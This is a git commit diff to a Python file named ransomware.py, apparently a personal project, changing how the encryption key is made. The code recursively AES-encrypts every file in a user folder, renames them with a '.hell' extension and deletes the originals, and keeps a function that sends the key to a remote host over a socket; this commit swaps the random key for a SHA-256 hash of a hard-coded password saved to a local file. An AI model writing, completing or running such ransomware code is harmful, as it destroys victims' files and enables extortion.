Changed key generation to the hash of a unique password and added decryption script

ransomware.py

@@ -2,6 +2,7 @@ import os
 import socket
 import getpass
 import platform
+import hashlib
 from Crypto.Cipher import AES
 from Crypto.Random import get_random_bytes
 from Crypto.Util.Padding import pad
@@ -14,6 +15,7 @@ def send_key(key):
     s.connect((host, port))
     s.send(key)
     print("Key sent")
+    s.send(b"DONE")
     s.shutdown(2)
     s.close()
 
@@ -22,21 +24,20 @@ def encrypt_file(file, key, iv):
     cipher = AES.new(key, AES.MODE_CBC, iv)
     file_name = file
 
-    with open(file, 'rb') as file:
-        plaintext = file.read()
+    with open(file_name, 'rb') as f:
+        plaintext = f.read()
     
     ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
     
     with open(file_name + ".hell", "wb") as enc_file:
         enc_file.write(iv + ciphertext)
 
-    os.remove(file)
+    os.remove(file_name)
 
 # This will go through the specified folder and encrypt all of the files, even from subfolders
-def encrypt_whole(folder_path):
-    key = get_random_bytes(32)
+def encrypt_whole(folder_path, password):
+    key = hashlib.sha256(password.encode()).digest() 
     iv = get_random_bytes(16)
-    send_key(key)
 
     for root, _, files in os.walk(folder_path):
             for file_name in files:
@@ -44,6 +45,10 @@ def encrypt_whole(folder_path):
                 encrypt_file(file_path, key, iv)
                 print(f"Encrypted: {file_path}")
 
+    cwd = os.getcwd()
+    with open("aes-key", "wb") as open_key:
+        open_key.write(key)
+
 # Main function
 # Detects username, assembles path and calls function from above to encrypt
 if __name__ == "__main__":
@@ -57,4 +62,4 @@ if __name__ == "__main__":
     elif platform.system == "Darwin":
         path = '/Users/' + username
     
-    encrypt_whole("/home/hellisabove/test")
+    encrypt_whole("/home/hellisabove/test", "hellisabove")